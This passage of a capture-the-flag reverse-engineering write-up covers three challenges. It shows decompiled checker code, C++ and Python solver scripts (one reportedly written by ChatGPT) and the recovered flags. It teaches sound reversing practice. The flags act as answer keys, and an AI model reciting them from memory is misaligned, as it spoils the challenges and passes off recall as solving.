i <= 6; ++i ) { result = (unsigned int)(9 - i); if ( i < (int)result ) result = swap(&flag[i], &flag[9 - i]); } for ( j = 8; j <= 13; ++j ) { result = (unsigned int)(21 - j); if ( j < (int)result ) result = swap(&flag[j], &flag[21 - j]); } for ( k = 29; k <= 32; ++k ) { result = (unsigned int)(61 - k); if ( k < (int)result ) result = swap(&flag[k], &flag[61 - k]); } return result; } ``` After reversing I know that the flag will be swap in some place. The flag before swap: W1{live_speels_a5_NoOn_4v4ry_emit!} ```cpp #include <bits/stdc++.h> using namespace std; string flag = "W1{live_speels_a5_NoOn_4v4ry_emit!}"; void solve() { int result; int i; // [rsp+4h] [rbp-Ch] int j; // [rsp+8h] [rbp-8h] int k; // [rsp+Ch] [rbp-4h] for ( i = 3; i <= 6; ++i ) { result = (unsigned int)(9 - i); if ( i < (int)result ) swap(flag[i], flag[9 - i]); } for ( j = 8; j <= 13; ++j ) { result = (unsigned int)(21 - j); if ( j < (int)result ) swap(flag[j], flag[21 - j]); } for ( k = 29; k <= 32; ++k ) { result = (unsigned int)(61 - k); if ( k < (int)result ) swap(flag[k], flag[61 - k]); } } int32_t main() { ios_base::sync_with_stdio(0); cin.tie(0);cout.tie(0); solve(); cout << flag; return 0; } ``` My cript to swap as the chall. ![image](https://hackmd.io/_uploads/BJMZJl6BJl.png) And I get flag: W1{evil_sleeps_a5_NoOn_4v4ry_time!} ### Easy Flag Checker ![image](https://hackmd.io/_uploads/rJ-K1IgUyg.png) ```c __int64 __fastcall main(int a1, char **a2, char **a3) { bool v4; // [rsp+Bh] [rbp-4F5h] int i; // [rsp+Ch] [rbp-4F4h] char v6[1240]; // [rsp+10h] [rbp-4F0h] BYREF unsigned __int64 v7; // [rsp+4E8h] [rbp-18h] v7 = __readfsqword(0x28u); std::string::basic_string(); std::operator<<<std::char_traits<char>>(&std::cout, "Give me flag: "); std::operator>><char>(&std::cin, v6); v4 = std::string::size(v6) == 20; for ( i = 0; i <= 19; ++i ) { *(_DWORD *)&v6[4 * i + 32] = (char)(*(_BYTE *)std::string::operator[]() ^ 0x38); if ( *(_DWORD *)&v6[4 * i + 32] != dword_4020[i] ) v4 = 0; } if ( v4 ) std::operator<<<std::char_traits<char>>(&std::cout, "Correct!"); else std::operator<<<std::char_traits<char>>(&std::cout, "Wrong!"); std::string::~string(v6); return 0LL; } ``` ``` dword_4020 dd 'o', 9, 'C', 'N', 0Bh, 'J', 'A', 'g', 0Bh, 0Ch, 'K', 'A', 'g', 'J', 9, '_', 'P', 0Fh, 7, 'E', 1Eh dup(0) ``` My script to solve it ```python dword_4020 = [ ord('o'), 9, ord('C'), ord('N'), 0x0B, ord('J'), ord('A'), ord('g'), 0x0B, 0x0C, ord('K'), ord('A'), ord('g'), ord('J'), 9, ord('_'), ord('P'), 0x0F, 7, ord('E'), 0x1E ] flag = ''.join(chr(c ^ 0x38) for c in dword_4020) print(flag) ``` ![image](https://hackmd.io/_uploads/Byr1eIe81e.png) Flag: W1{v3ry_34sy_r1gh7?} ### GiacMoTrua1 ![image](https://hackmd.io/_uploads/S16OBQZ8yl.png) I also put every thing that i downloaded into ChatGPT and ask it the give me a python script that can reverse the FLAG =))))))))) ```python dic = [0] * 85 dic[0] = 33 dic[1] = 35 dic[2] = 36 dic[3] = 37 dic[4] = 38 dic[5] = 40 dic[6] = 41 dic[7] = 42 dic[8] = 43 dic[9] = 44 dic[10] = 45 dic[11] = 46 dic[12] = 47 dic[13] = 48 dic[14] = 49 dic[15] = 50 dic[16] = 51 dic[17] = 52 dic[18] = 53 dic[19] = 54 dic[20] = 55 dic[21] = 56 dic[22] = 57 dic[23] = 58 dic[24] = 59 dic[25] = 60 dic[26] = 61 dic[27] = 62 dic[28] = 63 dic[29] = 64 dic[30] = 65 dic[31] = 66 dic[32] = 67 dic[33] = 68 dic[34] = 69 dic[35] = 70 dic[36] = 71 dic[37] = 72 dic[38] = 73 dic[39] = 74 dic[40] = 75 dic[41] = 76 dic[42] = 77 dic[43] = 78 dic[44] = 79 dic[45] = 80 dic[46] = 81 dic[47] = 82 dic[48] = 83 dic[49] = 84 dic[50] = 85 dic[51] = 86 dic[52] = 87 dic[53] = 88 dic[54] = 89 dic[55] = 90 dic[56] = 91 dic[57] = 97 dic[58] = 98 dic[59] = 99 dic[60] = 100 dic[61] = 101 dic[62] = 102 dic[63] = 103 dic[64] = 104 dic[65] = 105 dic[66] = 106 dic[67] = 107 dic[68] = 108 dic[69] = 109 dic[70] = 110 dic[71] = 111 dic[72] = 112 dic[73] = 113 dic[74] = 114 dic[75] = 115 dic[76] = 116 dic[77] = 117 dic[78] = 118 dic[79] = 119 dic[80] = 120 dic[81] = 121 dic[82] = 122 dic[83] = 123 dic[84] = 125 rev_dic = {} for i in range(85): rev_dic[dic[i]] = i target = 'R8Abq,R&;j%R6;kiiR%hR@k6iy0Ji.[k!8R,kHR*i??' length = len(target) # The original array size was length * 2, and we got the final string # from index (23 * length + 16) % length onwards for length characters # We need to reconstruct the original array target_ascii = [ord(c) for c in target] # Find the indices in the original array start_idx = (23 * length + 16) % length original_indices = list(range(start_idx, start_idx + length)) # Create the full array ans = [0] * (length * 2) for i, val in zip(original_indices, target_ascii): ans[i] = val ans[i - length] = val # Due to the duplication in the original code # Now we can reverse the XOR operation flag = '' for i in range(length): # Find the index in reverse_dic that gives us ans[i] for possible_char in range(256): # Try all possible characters # Apply the same transformation as in the original code if possible_char < len(dic) and dic[possible_char] == ans[i]: # Reverse the XOR operation original_char = possible_char ^ 112 flag += chr(original_char) break print(flag) ``` ![image](https://hackmd.io/_uploads/SyE3rXbUJl.png) Flag: W1{H3pe_y3U_w1ll_enJ9y_th2s_ch311_s0_m3c1!}